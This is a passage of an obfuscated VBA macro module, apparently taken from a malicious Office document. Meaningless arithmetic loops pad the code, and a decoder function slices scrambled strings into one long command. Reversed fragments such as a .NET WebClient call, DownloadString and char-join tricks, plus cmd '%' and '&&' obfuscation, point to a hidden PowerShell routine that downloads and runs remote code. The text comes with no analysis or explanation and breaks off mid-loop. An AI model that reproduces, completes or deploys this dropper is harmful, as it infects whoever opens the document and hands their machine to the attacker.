For nPHAqw = IwTmiw To HqBBb
 ZiZLPV = TcmIQ * Int(qNiHrA / CDate(XOVaw) / 47412 - Atn(72369)) + (44470 + Sin(zjPuZI) * qwlUw - Int(43737) + 62684 / LWqIu / iKAZU + MwMqj)
Next
For LCqpsS = wkUrJw To iUwqWo
 IpViws = nSwtl * Int(zDJLU / CDate(jCiQY) / 80106 - Atn(55565)) + (48821 + Sin(OCnkJ) * CNUHwa - Int(40355) + 21185 / WwYpp / KnWHEw + YzsTSK)
Next
VsWXRRcES = zEnPR("XU97DA0AgMAMDAwAAZAEGAyAANAYDAiBAMAYDA2AQOAQGAkBgMAUDAlBQZAQGAwAwYAUGA3AgZAEDA0AwNAkDAmBgNAEGAxAQZAYDAiBAOAEDAlBAOAcDA2AAMAgDAwF8gHgjvdDDvnk9", 4 + 0, 123 + 0)
For PKJch = qpEYoO To LuZRnk
 EPRcEi = oXOdH * Int(mCLov / CDate(ulVjw) / 35973 - Atn(80155)) + (10299 + Sin(iXbfi) * UAshX - Int(4561) + 43177 / RpvhD / JilVf + DjfTJP)
Next
For EdXLCj = IabwF To IwfCUd
 UBcrH = VtjwK * Int(vtLvFN / CDate(hCYVEY) / 51544 - Atn(96549)) + (72129 + Sin(kanNdX) * AfEcL - Int(31159) + 53948 / QVJpwD / pZvDv + XTjbjH)
Next
TNBLj = zEnPR("WCzDAyAwMAEGAlBwNAEDAmBQZAUDAlBwYAYDAlBQZAEGA2AQYAEDA4AQOAUGA0AgMAgDA1AAOAYGAmBwYAMGAxAgNAMGAzAAMAkDAhBQZAUDA1AwNAwHA9AQPAcGAyAgiptBX", 6 + 0, 125 + 0)
For WWORVI = aJRWmw To nCQIoh
 kNRac = dLXBb * Int(jHtGs / CDate(oJzfH) / 49442 - Atn(32373)) + (97718 + Sin(jRPSvZ) * lJwrtj - Int(33175) + 28137 / QuiQjt / YnzYMF + sJdjt)
Next
For RzUvV = rLVUUw To icNwX
 jFDqML = EwfhnX * Int(zllNcU / CDate(NHojzU) / 1595 - Atn(60992)) + (77701 + Sin(RUFENO) * IjYjv - Int(61607) + 77700 / zIRsrz / CiSzO + MrvZH)
Next
RXZrUNfnhCc = zEnPR(".zC4E4AQOAMGA2AQNAMGAxAAZAQDAxAgNAcDAmBQMAgDAjBwNAIGAiBgYAm", 2 + 0, 53 + 0)
For PTSjj = bFsvJ To bACCL
 nziwRW = QzCvrd * Int(nfYOf / CDate(hUPua) / 13147 - Atn(46291)) + (968 + Sin(OEJjL) * KWRBvw - Int(36834) + 45226 / JBSzi / boXmBS + jXKwlt)
Next
For TnzjWw = nvUVwF To rZXtVz
 FGztz = bmOjd * Int(iivzhl / CDate(QhSAS) / 39729 - Atn(69790)) + (45107 + Sin(nMtbW) * NhzqY - Int(77399) + 16641 / hlsDW / vZpIO + lnFjYN)
Next
tAlKaiCth = zEnPR("nn70M9BRAcHAxAAWAoFAyBwRAcEAuBgVAMGATBgSAwGAWBQbAEDATBgRAIEA8BgM5435a05061b3143240f347611SP", 3 + 0, 82 + 0)
For DzBpBW = QNAqM To HjlPZ
 NOcNW = NnhabS * Int(LBFBf / CDate(rjHshZ) / 97824 - Atn(92559)) + (90266 + Sin(FCpHGz) * alfEn - Int(66905) + 65544 / mhYBRC / FUilGV + oXpSNc)
Next
For qBLrs = iLijAK To fjDpk
 WXLXwN = uLOjE * Int(joznqk / CDate(sHGtT) / 35986 - Atn(64985)) + (12426 + Sin(vPuKo) * hiiPdq - Int(559) + 43529 / wbZbjj / NENpOR + Ddfvp)
Next
mrNzoCITw = zEnPR("8lzdzGAhww", 3 + 0, 3 + 0)
For zoums = UJaHj To lIustG
 YCBqzw = PMamwv * Int(GwKhn / CDate(YLjnzj) / 95667 - Atn(56646)) + (17077 + Sin(KkYVR) * zwzoQ - Int(84528) + 15582 / oIlhiK / LGYBMS + sRAwG)
Next
For bLoQXW = zviUBK To RcSBN
 DzqsQ = wFYYi * Int(zmIoT / CDate(sBfHtR) / 92452 - Atn(10229)) + (87200 + Sin(jSRjz) * jcUvzz - Int(49932) + 77898 / WvTEXv / JhJMdw + YwLip)
Next
audkfqzfp = zEnPR("hC2MAEDAyAwMAUDAkBQZAcDAwAgNAgDAyAANAIGA3AQYAYDA1AgZAEDAwAwYAcDAxAAMAYDAzAQZAADAiBQZAUGQ8gHgjvdDDvnkj", 4 + 0, 84 + 0)
For GGCBz = fTYls To rhXWcA
 LGJkX = UkWwzo * Int(kSUPt / CDate(ERPIl) / 92645 - Atn(31855)) + (70231 + Sin(OiCUKJ) * PwWfNf - Int(41761) + 18310 / YwXrY / HdJvD + wYoGDi)
Next
For jGRhjJ = NMJFsw To ELtKAb
 JKaCGK = oDaKsL * Int(GuHhA / CDate(GzKOWH) / 67327 - Atn(63734)) + (79482 + Sin(itBOZ) * riawGY - Int(17471) + 67670 / znjzQl / AzaKzL + zbDzlw)
Next
EJUmfjlh = zEnPR("LbQbxAANAkDA2AQOAYDAjBANAMDAlBANAUGAlBANAQDA3AgYAQGA5AgMAMDAyAgZAQDAwAQYAYGAlBANAMGA1AgMAkDA0AQOAEGAlBgZAcDAhBwNAADAkBwYAUDAmBQNBlT", 4 + 0, 124 + 0)
For rwjKC = GCXhqb To XTzjY
 AsEnPw = wbWCZX * Int(cIqCnN / CDate(XzZtU) / 46769 - Atn(85394)) + (16883 + Sin(cUaFvY) * JRNXff - Int(61301) + 39667 / ToqOd / vLYdvi + vYnpwu)
Next
For ljAjFc = wuoXb To QYMfc
 kOIczF = uCWsos * Int(qzrZd / CDate(mkIsU) / 15724 - Atn(85536)) + (6219 + Sin(NCXcZR) * cDDiYh - Int(96431) + 53027 / AfSiQ / nBPJzF + IoMdL)
Next
bIbnfVqF = zEnPR("EpSIqJAOAYGAmBgZAQGA1AwNAcDAlBQZAADA0AANAcDA1AQOAIGAiBQNAkDA1AwNAkDAzAQYAcDAjBAZAgDA3AAMAkDA3AANAYDAwAgZAQDA5AANAMDAmBQNAEDA1AAZAQGAjBANAkDAyAgZAcDAxAwYAUGA2AgYAQDAmBgZAYDA4AQZAIGAjBgMAkDAwAwNAYDAzAwMAA1", 3 + 0, 195 + 0)
For TVLTqK = nVwoF To hqUdZU
 fPVNQ = aLvOR * Int(WJHjoL / CDate(YttRCb) / 7016 - Atn(24632)) + (46717 + Sin(oLnJt) * EzwDY - Int(68628) + 22339 / HhtjdZ / fRzvY + wTlMFC)
Next
For clTkz = cmRjI To wiBovO
 wwYdMs = ziVjf * Int(iPamdY / CDate(RfrjRU) / 34194 - Atn(79840)) + (56417 + Sin(aJEqP) * EHGrq - Int(13038) + 88767 / iDiUj / PLXWR + HsMrb)
Next
oEnPpIWih = zEnPR("WQLGAiBgYAUDA0AgNAYGA2AgZAIGAwAAZAYGAmBgYAkDAiBQZAkDAhBQZAgDAwA69.8gHgjvdDDvnk", 5 + 0, 60 + 0)
For WbuZa = OHWiXj To LlbwN
 zIZrPm = YwAMvO * Int(YkSWI / CDate(qFZhkn) / 82738 - Atn(41596)) + (12355 + Sin(jtzBiI) * jfntPR - Int(13876) + 19492 / IQcaSE / jArjsH + vLSPUS)
Next
For jtiMkP = jHiWIX To KBtiH
 iVCdbq = wRmqsK * Int(mtWjd / CDate(mQjCk) / 59101 - Atn(10492)) + (74203 + Sin(klAGE) * KrBlu - Int(31763) + 58114 / UriwA / RiMBqv + mAtwl)
Next
KmITK = zEnPR("p7AG98gHgjvdDDvnkESkBQMAEDAlBQZAgDA4AQYAYDA5AwMAgDAzAwMAIDA5AAMAcDA3AgMAkDA5AgNAEGAyAQMAIDAiBgYAEGA4AAMAYDAyAwYAkDAkBQMAMDA1AgNAcDAkBQOAEGAzAQYAYDA3AgYAcDA0AwMAUDA3AwMAEX", 2 + 0, 150 + 0)
For djApl = FbCVu To AHwOKG
 FJBGZz = IEYqH * Int(IEAkUC / CDate(ruBPIR) / 34901 - Atn(80014)) + (75525 + Sin(XpnPf) * cabpV - Int(94952) + 2930 / LNFaw / OuHOo + HlzHh)
Next
For Bfuzvw = mhjClJ To YSOlYj
 wiomDX = qRblNo * Int(Quhuq / CDate(fNRFVX) / 10331 - Atn(2295)) + (73026 + Sin(jHPBC) * GMrZAw - Int(31210) + 10354 / YUaHX / rhlLkR + RjSaEE)
Next
zSkbMYVbK = zEnPR("H166H8gHgjvdDDvnkAQGAlBANAQGA2AgMAQGAjBgNAUGAhBQOAUGAkBQYAQGAwAQNAQDAjBwNAEDAwAgMAkDAkBgNAEDAkBwMAYDAkBQMAYDAxAgYAUDA3AgZAMDA4AANAEDAHw", 3 + 0, 116 + 0)
For izmwTo = DRujz To owCft
 fpZdq = fWuKG * Int(rLKmb / CDate(cojLoQ) / 84133 - Atn(53869)) + (75953 + Sin(uUinh) * ZFETwj - Int(76171) + 33834 / sKUsmB / VUCFi + BJmOi)
Next
For HYlbd = wWwqR To YqFZp
 NBTvj = fMQkwW * Int(VlbOLp / CDate(FrqKCw) / 16835 - Atn(98887)) + (41800 + Sin(XKtGjq) * MrwwRH - Int(26404) + 45727 / AwSzcu / uCVKJs + ifqUNn)
Next
HLhcsdA = zEnPR("OpA2AAOAYDA0AgYAADA4AAMAEGAjBwNAIDAmBQMAIGAiBgZAUDAlBQMAYGA4AANAYGA0AgMAIGAlBgNAUGAiBQOAEDA0AQOAUGA0AAMwDGcQ", 6 + 0, 101 + 0)
For koutBT = zokdmb To LjYUca
 ELfYUH = QanAj * Int(QIXDaa / CDate(vNlhWR) / 77519 - Atn(35495)) + (97622 + Sin(zkNij) * OUhLWi - Int(25979) + 94395 / CcfDJV / BjDqZw + CTBRI)
Next
For jzSXj = iiosb To pOBvIW
 QIvuGB = iwunCi * Int(TKuJUj / CDate(oSGDDK) / 96213 - Atn(33349)) + (20959 + Sin(jnQfNo) * MVpij - Int(77891) + 3535 / zvWEHl / qqcpoq + rwQnz)
Next
dOOkESF = zEnPR("vXj4NLMGAlBAZAMDA5AAMAUGA3AAOAYDA3AgYAYDA1AwYAYGAwAQZAUDAwAANAYGAwAAMAADA4AAMAUDA2AAOAIDA5AQMAQDAhBAZAQGAjBQZAUDA2AgNAQDAmBAMAADAlBgYAIBH", 3 + 0, 129 + 0)
For ONGFV = zwqOEi To NGPbM
 LszZC = zPJit * Int(wrvbj / CDate(QiSnpz) / 53630 - Atn(46573)) + (21830 + Sin(dwcUEj) * ORoDhW - Int(48592) + 77221 / zzHnJ / WZLikX + zziMP)
Next
For pzOwO = HHpfYW To jSsnQ
 whrIm = bONkz * Int(SYszrj / CDate(lijFAp) / 34389 - Atn(66397)) + (1619 + Sin(mOkoSz) * wpbdnS - Int(87875) + 44469 / EFwSjb / zibQb + SUmajb)
Next
pJrHc = zEnPR("7uJAAOAADA2AgYAUGAzAgMAMDAjBQYAkDAkBQZAUDA4AgNAEGAkBwMAUDA5AQOAYGAkBAZAQDAmBQMAcDAzAQMAYDAhBwMAEGA5AANAUGA2AgNAMDAz Vd", 4 + 0, 112 + 0)
For OmAbF = BFLwP To iKkMkh
 KDlJq = LHWGqM * Int(SAbREX / CDate(jZFoj) / 23134 - Atn(57906)) + (86738 + Sin(iICsfQ) * ddJtt - Int(86348) + 60019 / UmdUij / HNUUl + zdiDSc)
Next
For EYdoiB = hzSjR To hWbwp
 puzEK = lqHmCz * Int(oKuWS / CDate(hQZjpc) / 75243 - Atn(72851)) + (6194 + Sin(EivUp) * tHUSAs - Int(20994) + 14930 / vUMcsn / JNIDP + HcXBi)
Next
YwfAcztkii = zEnPR("iz8gHgjvdDDvnkwBAMAUoL", 3 + 0, 4 + 0)
For DDGcit = mCzho To RouHa
 KSEZh = lfiAr * Int(zKZEso / CDate(dibBzJ) / 62428 - Atn(38282)) + (97201 + Sin(WNVwsX) * wdZPw - Int(27974) + 67309 / LEidfN / GOzajQ + PAsmh)
Next
For wVztis = UjMwA To CWUql
 TbGnrV = hCjtSW * Int(YMjDaR / CDate(QtPbCE) / 82581 - Atn(96140)) + (36414 + Sin(jBhvUr) * IXlLMo - Int(81444) + 87529 / MzqpQ / TuCir + oRBjj)
Next
mJsFiScaGJh = zEnPR("EZK.QBQOAEDAlBQYAYDAkBQMAYGAkBgNAEDAiBgYAkDA3AwMAUDAwAAMAEGA5AwYAQGA0A8OmG", 5 + 0, 65 + 0)
For MRprDU = vCjjEF To idrrH
 URhntl = WTGjc * Int(sdbkVv / CDate(qVMnN) / 96836 - Atn(56343)) + (35235 + Sin(KaKbGa) * jBzSTc - Int(53146) + 92637 / EaMvGt / wlmwE + ZuIisI)
Next
For JHHvI = XDnMfR To OboKtA
 VMEcw = tdnhK * Int(VAMjT / CDate(BHSoP) / 86541 - Atn(79441)) + (3907 + Sin(PzLKLT) * ozCiz - Int(82428) + 3847 / QFCbwZ / rVurs + hwLnwa)
Next
iNlki = zEnPR("ndj6lBwMAcDAxAgNAUGA0AQOAgDAmBQOAIDA4AgMAIGAXF", 3 + 0, 40 + 0)
For ibXwkF = PhoTK To YYKqN
 RMHqQ = adHAq * Int(AQXPoh / CDate(qqNnK) / 63211 - Atn(51934)) + (63515 + Sin(OJmVZq) * RWlHi - Int(19385) + 53629 / OrwSu / JjclWP + ZzJpm)
Next
For wipuHZ = aJqvC To qnDhwl
 ZlLzD = bfwsdh * Int(hBEUi / CDate(LCIsYX) / 50302 - Atn(42991)) + (85926 + Sin(zVZLo) * NSrrN - Int(95378) + 64691 / RNNhEo / jCCaNR + nZdYiI)
Next
LCvPsF = zEnPR("Hz5AQYAYGAiBQYAEDA5AgYAIGAjBwNAUGA1AAOAUDAiBwNAgDAmBgMAcDA4AAOAQDANpAu9P", 7 + 0, 64 + 0)
For WEWfH = mcmiNU To aKKsSD
 OSWkaI = iSOpO * Int(avJqB / CDate(AwHQUM) / 87590 - Atn(71950)) + (36452 + Sin(OkGfUm) * ilEzU - Int(15475) + 20270 / szvFf / UrVDr + CBYhW)
Next
For fzMDZ = pHAom To jzJLH
 JzhXU = NVVNH * Int(bbNZd / CDate(mEBmAm) / 82620 - Atn(72025)) + (65015 + Sin(AqnGp) * FCTHiI - Int(80881) + 8433 / bzlMK / HWYZDM + wujiW)
Next
EXuvHL = zEnPR("@wBqE6wMAQGAxAQMAkDAwAAZAQGA1AwNAdX", 3 + 0, 27 + 0)
For UfaAZ = WLFVGd To zlZmF
 XKtTP = mjiFZa * Int(ljjVBz / CDate(ioiBA) / 33473 - Atn(90555)) + (77729 + Sin(kXHbK) * wbLLSn - Int(3235) + 76439 / juKsh / QXntt + crTzmz)
Next
For KhzGv = SMNAh To OiVww
 NnRiE = ohnDHl * Int(YtPDK / CDate(lUOQkD) / 38579 - Atn(80524)) + (77387 + Sin(nHDkY) * SofcPR - Int(27785) + 52499 / FbcId / bLKNAw + hbksA)
Next
vWGjTPJiXzI = zEnPR("N3K@1d29467' (,' ' LAItnedErCSp.noITaMoTUA.tNeMeGANam TCeJBO-wEn(q3NV", 5 + 0, 61 + 0)
For zwEAz = baXhWT To mBfbr
 KKMwsX = wuHEr * Int(QqbSB / CDate(dhCYDd) / 77837 - Atn(87078)) + (89993 + Sin(WBztL) * NmzLcb - Int(55318) + 62761 / TqzDO / iiANz + mISDi)
Next
For iYizUQ = sGBtJB To XfJam
 iLdHBH = aqBlMa * Int(HLzIz / CDate(AKEkoq) / 4815 - Atn(19734)) + (79890 + Sin(NTPfM) * vbvMk - Int(36917) + 4148 / Qjiww / fBdCi + HsTKF)
Next
rqUVwk = zEnPR(".AAUGAjBgMAYDA0AQNAMGA4AwNAUGA0AwNAkDAlBgYAUDAjBgYAEDAkBgYvc4N", 5 + 0, 56 + 0)
For kioRw = qoQYMk To hIzUH
 DNdjL = NzoLDI * Int(HNiXPw / CDate(nIHvGo) / 87829 - Atn(4556)) + (2079 + Sin(HXLCB) * Hwcbj - Int(96395) + 2342 / MQacmw / jWXUvF + ZXwKwZ)
Next
For bBRDS = ZpwBdI To wCLrVi
 LOJur = YzNnj * Int(ObCdr / CDate(hacLlp) / 97902 - Atn(59734)) + (97140 + Sin(wKdZE) * HMrXL - Int(19717) + 5592 / bIRRtF / ZTunEs + dUvMJR)
Next
UshjJUzBi = zEnPR("lcdROW8gHgjvdDDvnkSAp.)(lAITnEDErckRowTEnTEG.) ))922..442(  eK-  gNIRT8gHgjvdDDvnkERuCE8gHgjvdDDvnk-OtTREVNOC| '==AAhBgMAADAkBQNAMDAwAAOAkDA2AAOAMGA1AQZAMDA1AwNAQGAkBQNAMDA5AAOAUDA3AQMAMDAmBAMAQDAwAgNAQDA4AANAEGAhBAZAgDAjBAMAgDAGZdM,oF", 8 + 0, 193 + 0)
For CKJHEU = lUlXXA To cXjltN
 qjmAR = jXbzA * Int(cYwIKp / CDate(DozJQj) / 83631 - Atn(30496)) + (2875 + Sin(ObQDaL) * XHmMGN - Int(85679) + 73829 / mYLdP / vIKkr + VTashb)
Next
XNwEbcPBpcDr = jwtolJAEzTs + YkhBMXlDC + HZwpXPuhcY + """" + waGWttTEYh + vWGjTPJiXzI + tAlKaiCth + TNBLj + dOOkESF + EXuvHL + qHivzC + sTATXz + RXZrUNfnhCc + iNlki + MrTmw + PiatSk + NPDfuuWVY + rYRXwiJYiwD + iIvbviJzkj + hoLVGlU + wUbzZV + EJUmfjlh + zSkbMYVbK + rqUVwk + HLhcsdA + audkfqzfp + ZitzjTzS + rABdww + OoTADwPV + vSPYltYaa + cmzWwbWWC + bIbnfVqF + UzhzwQRp + zVQPjatOA + SDYFEENjS + KQVAPIJuY + PCGjkPLcHjn + Ghutzb + cFjYKEjQnEz + TQuMApLzXI + pJrHc + VsWXRRcES + KmITK + LwcZInNLOKI + bUPjGIo + mJsFiScaGJh + mrNzoCITw + bMRopvTiva + YwfAcztkii + kfMZjj + Gznwl + oEnPpIWih + OXIlIQWKi + WLVqnpBwlEI + wHrsbssjnNt + KdtKQUrUwv + iczBQRBjK + VAoWWDr + LCvPsF + UshjJUzBi + UCwmYi
For fIsqUA = nMUYm To OmEWwF
 TsjNKk = cZHnJ * Int(VsboLs / CDate(jPqEX) / 76220 - Atn(53507)) + (15850 + Sin(pwFSD) * mZfjj - Int(95342) + 47401 / EjPsJ / KPKGi + DBiqWI)
Next
End Function

Attribute VB_Name = "duwXCMP"
Function HZwpXPuhcY()
On Error Resume Next
For XirGZ = RGtLQ To OVIMvd
 NcMPC = DrDrZj * Int(QYVzw / CDate(OFWmv) / 26438 - Atn(7309)) + (16454 + Sin(uOJoo) * WaLToP - Int(42522) + 32009 / PUizP / zIQlOH + pQBwjj)
Next
BNWtOGoE = zEnPR("VPlNud&iptwlNDwm=%FtJ", 2 + 0, 14 + 0)
For pikrVt = JjHusp To XbiDs
 uFsCZn = kvRqfp * Int(Yhjni / CDate(sqcJr) / 42552 - Atn(35963)) + (67906 + Sin(oSuqA) * jpiRi - Int(28814) + 24835 / OQODV / prvZWn + djLDU)
Next
For FfGzsD = VqQoc To XFzouC
 iLLLRu = XFTSii * Int(qJCdhT / CDate(wsVqj) / 83118 - Atn(29811)) + (60593 + Sin(IdBOM) * Tvjzaj - Int(30631) + 44081 / JuPhvu / MiRjT + VlDNsh)
Next
jkBAn = zEnPR("97LBStdMAmkzEv8gHgjvdDDvnk% te8gHgjvdDDvnk&&w^o=D", 2 + 0, 18 + 0)
For pdTPw = Hzktpi To Xjlch
 izQTwc = dZvuNo * Int(LIfazl / CDate(mNcpc) / 1727 - Atn(95199)) + (34989 + Sin(zbfIDN) * KWnVM - Int(65606) + 4586 / fBAJPA / dvirk + dUbdLk)
Next
For DrYEjN = kCrAw To zRAqf
 ERHsfV = InuNko * Int(ouLvQP / CDate(tPVAHF) / 27095 - Atn(23012)) + (77993 + Sin(lrScPw) * tjwFVq - Int(78904) + 14067 / YNFGF / QOKCls + PWwwO)
Next
QkzMkrjowQ = zEnPR("a 8gHgjvdDDvnkwuWA2", 4 + 0, 2 + 0)
For sWwZzM = hQWYY To tvjAGh
 KbDRMK = VTbIW * Int(MOpaoH / CDate(EtArld) / 9200 - Atn(97403)) + (55718 + Sin(WpQoRR) * jMnFf - Int(26700) + 78036 / CzUiG / LznWR + LfjGIs)
Next
For TNbZEa = IRUoQ To odaVT
 rGNkmw = fJCit * Int(SzBhf / CDate(oYbjSh) / 77190 - Atn(36024)) + (36198 + Sin(iLRvqT) * Gdobv - Int(91331) + 4450 / jbUwW / vvjfMQ + uCwfq)
Next
DGHwWw = zEnPR("8H&&!%rDcAFOaF", 7 + 0, 6 + 0)
For aqRzdz = vErNs To ZcjGTU
 wnQlPd = BLapw * Int(zbQSd / CDate(zzqqDS) / 76059 - Atn(69176)) + (82317 + Sin(KwiLtz) * ZfhAwY - Int(68493) + 58416 / RmdzM / cdUzF + MSctMG)
Next
For NmOYT = HCviTQ To aqjlJZ
 rFqEz = ZYwwA * Int(jLuXv / CDate(zJpbd) / 23736 - Atn(29679)) + (6143 + Sin(wVfiR) * WVIwJ - Int(51594) + 1790 / iEzdI / ifSlPL + WQbdo)
Next
vvslKsjV = zEnPR("JB7Y%rDcpBPcbd5O", 4 + 0, 9 + 0)
For EbCTNj = Mqlal To wnHWii
 WjSCt = FmAEj * Int(Vjvuj / CDate(muzTrt) / 85047 - Atn(217)) + (40185 + Sin(cPtzv) * YYIzZu - Int(56288) + 44196 / lFIQO / talso + CoYKt)
Next
For cviEiu = CwOWE To mhYtT
 UrDCt = tQRDS * Int(CtrzAT / CDate(iTMjE) / 56055 - Atn(19490)) + (83321 + Sin(czFYj) * itZtpz - Int(79840) + 56646 / zjnTK / pjFVk + HHwYjN)
Next
cbCzptjNNmr = zEnPR("9AAkfESOBuhuSw8gHgjvdDDvnkGwbLGM", 6 + 0, 13 + 0)
For oUzuu = OwYHi To tqFkY
 qjDmQA = vzWla * Int(FmRon / CDate(ltKvT) / 33384 - Atn(49659)) + (51241 + Sin(rECWaj) * hUBEzq - Int(98547) + 23375 / MzmYmb / Rjmwj + kVqZGD)
Next
For lpCIvk = PGfKzo To ioVjE
 YRHMz = EDBUdS * Int(TBzhSR / CDate(VtGbL) / 65547 - Atn(43057)) + (80541 + Sin(rnnfd) * UhpKO - Int(63277) + 51147 / lBrQV / iHCSs + fKjBPK)
Next
aJqooF = zEnPR("vzNCI%!!%wRXDSFakAWbF8gHgjvdDDvnkO% R", 3 + 0, 19 + 0)
For DKhqn = OhSrH To fufVa
 RBiVk = UnmYJB * Int(vDSWDE / CDate(DKGZM) / 29365 - Atn(89740)) + (30983 + Sin(vApFj) * JfiawW - Int(130) + 37243 / XQDMzM / cRPQH + JJUqEZ)
Next
For SLboY = ODbjP To wziAK
 GQDIa = SbHEi * Int(hHosp / CDate(wdbiqo) / 60454 - Atn(91596)) + (4812 + Sin(bDsdD) * tJNKkT - Int(42161) + 94431 / KUZBH / EIBCh + YZOdiF)
Next
GCFUlXbHBX = zEnPR("Bdzt3pfnXG4", 3 + 0, 4 + 0)
For ADMFz = Ofiir To HibjUF
 ulWuqa = nUjwh * Int(OJwCw / CDate(bztpZ) / 57621 - Atn(20141)) + (45700 + Sin(NztuX) * KbdJVf - Int(53132) + 28457 / wjzlQw / YhFduB + zQjCwa)
Next
For uGTQj = dbHij To tWcOX
 QNccSO = OYOpr * Int(AJiEXu / CDate(wpYLuE) / 50248 - Atn(22439)) + (5575 + Sin(KBVXi) * oRoEIR - Int(63942) + 29133 / QkjzPS / TXmao + iNowL)
Next
UjibKl = zEnPR("LBiZHjbC%!!%vHfVGlc8gHgjvdDDvnkd.QAwJY", 8 + 0, 18 + 0)
For EnVaW = pniqr To IJYdUt
 noEhw = DJWibP * Int(GPKwu / CDate(KoZfX) / 56911 - Atn(61560)) + (10797 + Sin(fsEsv) * XdzGWp - Int(35931) + 5194 / EHafa / waiKjX + JhDSf)
Next
For sjLtU = AlBCmJ To bcSZw
 Qqvsrd = ZqiaCV * Int(uEcwG / CDate(oZjrnj) / 3946 - Atn(76941)) + (70199 + Sin(hRBHYb) * qTPmAJ - Int(4627) + 50188 / RwbXAW / HBqKE + KbtpB)
Next
tBzBwvTFrjd = zEnPR("PGpzJ1DZ% te8gHgjvdDDvnk&&CcCdmw,r", 4 + 0, 14 + 0)
For JBNmT = lcrCn To dRoPD
 MoLzt = iQslI * Int(sLIAQz / CDate(LIQPt) / 50421 - Atn(9246)) + (26570 + Sin(jnRvXh) * MqJHHE - Int(4498) + 29082 / UEKcHc / qLsDw + SZosI)
Next
For tfjdf = YIGlsm To FQqEjW
 hbJFab = wOkvX * Int(GqCTi / CDate(pzYDC) / 96315 - Atn(93104)) + (76147 + Sin(iBADWv) * RViCEI - Int(51137) + 88137 / pUTXP / Waahj + XHHin)
Next
BcSDvSr = zEnPR("MHw&&lJb8", 4 + 0, 3 + 0)
For TMjrBY = YjpcC To XihMdc
 LQfad = OiuOWY * Int(LHhmw / CDate(vEqhj) / 96827 - Atn(47130)) + (1583 + Sin(iqudB) * mChJO - Int(22383) + 19191 / iSSDlV / zuOJh + UiwcE)
Next
For BSYQIA = zrOvUR To BfKna
 UDQQTW = zUWYb * Int(flGdRz / CDate(TziWkG) / 40396 - Atn(10230)) + (74344 + Sin(kwICJz) * IwlwA - Int(58756) + 40834 / UkmZvB / orNXUt + MBzKnl)
Next
lADuWrL = zEnPR("tQHMWmFbwQGf% %FMoW8", 7 + 0, 12 + 0)
For SiVoEV = NlTSN To PWifrf
 HRomcI = jjAqrj * Int(BCQlq / CDate(YaFuEH) / 23531 - Atn(30917)) + (80983 + Sin(RSHtU) * tjLwt - Int(70939) + 57590 / dbdVOU / uAzUh + uhVvM)
Next
For pNmJPC = vsBzU To zvWSvp
 QWZFC = kLFkB * Int(TTCrX / CDate(BJsjY) / 4979 - Atn(18011)) + (79039 + Sin(mzkdnc) * UTojH - Int(19666) + 35298 / pHAbB / vDwEuj + kzWwN)
Next
UtQOw = zEnPR("06HMIiDilmQA=%AG", 3 + 0, 10 + 0)
For zLVHO = JwiDrH To rrqRCi
 GqvmZt = BkVRku * Int(UpUAlf / CDate(iMAGwD) / 79946 - Atn(33702)) + (87393 + Sin(UOZPGQ) * iVzHOM - Int(72288) + 13370 / CWBWQ / Cubiu + cpGjrp)
Next
For QDpUbw = YNpFEC To ubDsXZ
 nOjzS = EQBTd * Int(jJqTUJ / CDate(MIwwhI) / 82144 - Atn(59167)) + (63277 + Sin(ndmNjc) * GXIwmH - Int(22503) + 42997 / XToEHi / kMvpRC + bXXdNp)
Next
tPnwkjjnB = zEnPR("BjJeT,lJK7", 7 + 0, 1 + 0)
For SCjANz = qaBmZ To kXqcf
 uCBln = EijYO * Int(zjmFQH / CDate(ukitm) / 88845 - Atn(5110)) + (85047 + Sin(DEjuwI) * nRRtcJ - Int(27995) + 37911 / LXosS / GjZkUM + OrkfG)
Next
For cXOokw = FlQbc To itawD
 HhPTRL = jFoHnP * Int(nSaDNS / CDate(VUUNH) / 19368 - Atn(20786)) + (43323 + Sin(FSpMYJ) * EwdKQ - Int(17482) + 32499 / cLBYMS / ikclN + FKBPJQ)
Next
JiITnO = zEnPR("2cX9n% tec0b0", 5 + 0, 4 + 0)
For owDCiF = GkIGM To qkvIm
 WikFk = wSwmbu * Int(shoiI / CDate(uHvPzb) / 41995 - Atn(47634)) + (19255 + Sin(UOtdz) * BEtSPi - Int(74713) + 47135 / JOzUV / GnJrD + SmdOOm)
Next
For izkscK = NQLTA To rzLjz
 RjrtwA = rPnbY * Int(zNbAbW / CDate(nZzOl) / 99477 - Atn(39734)) + (48677 + Sin(Tkvzkz) * qEmrQS - Int(81920) + 50881 / niAwQw / Kfprjd + wjnCv)
Next
NwwOFQJP = zEnPR("tAB8gHgjvdDDvnkXi%!.AT", 4 + 0, 3 + 0)
For fZAzO = voiEVj To YwRTa
 WzlTu = PNwoL * Int(QuXKNh / CDate(kfAvf) / 52432 - Atn(38689)) + (14806 + Sin(FJhMM) * ZCtFFq - Int(99516) + 45294 / ASbEoz / kjSqt + EFsaA)
Next
For Btpzzh = wplQwj To vUTIFw
 jORNCI = hLnSs * Int(IwDNiJ / CDate(RUTcF) / 63970 - Atn(65605)) + (62220 + Sin(cMiuqR) * XkwYXP - Int(56591) + 96255 / GEfzRG / vahOv + HVaoGj)
Next
BjjFah = zEnPR("fBLQ%pJEYANSAjiHwwJ", 3 + 0, 10 + 0)
For jzoqTf = lkzBrV To zcCiJW
 mTJCji = bwjJuW * Int(IQoim / CDate(nLajXa) / 21628 - Atn(14920)) + (86478 + Sin(GzMpz) * injwzK - Int(74065) + 32478 / zwOrLN / Wtzbt + fJXVia)
Next
For EHwrtE = TBMDr To YavMvB
 BSpVpQ = UqNiu * Int(bAtTj / CDate(JWbtXo) / 55835 - Atn(35103)) + (51770 + Sin(QJLIjz) * RbCcoz - Int(56761) + 75470 / JTWYhb / EsDZZS + MwotZE)
Next
FDsPjzPFb = zEnPR("ccjBlAFR8A", 3 + 0, 2 + 0)
For lpiPb = hOUWwF To fJvCtp
 HQfXMz = qiAGEi * Int(XisJF / CDate(vpXhbT) / 46289 - Atn(2588)) + (4813 + Sin(lAjXP) * JGCbw - Int(82429) + 69654 / QuXnH / DtnGlR + zwsbto)
Next
For pMiEDH = mniuN To FmjjS
 nDiCnq = qfPrbH * Int(CJDtR / CDate(jTGmdi) / 67174 - Atn(39952)) + (49745 + Sin(QNmZz) * KKuNXR - Int(49063) + 43840 / CnBGvi / ScwTzs + FILQQ)
Next
wtPzijGMTzA = zEnPR("JUz8gHgjvdDDvnk&&8gHgjvdDDvnk=rElB,", 6 + 0, 5 + 0)
For iphORz = wESSuj To bvhNij
 vKadnS = pFMAJX * Int(NFmpw / CDate(pNKjZN) / 3994 - Atn(94022)) + (20318 + Sin(zmjVif) * ldjGI - Int(97249) + 12153 / kLXNp / Yhrnhz + DZQpii)
Next
For DdnLnh = jkiSjd To UVBsd
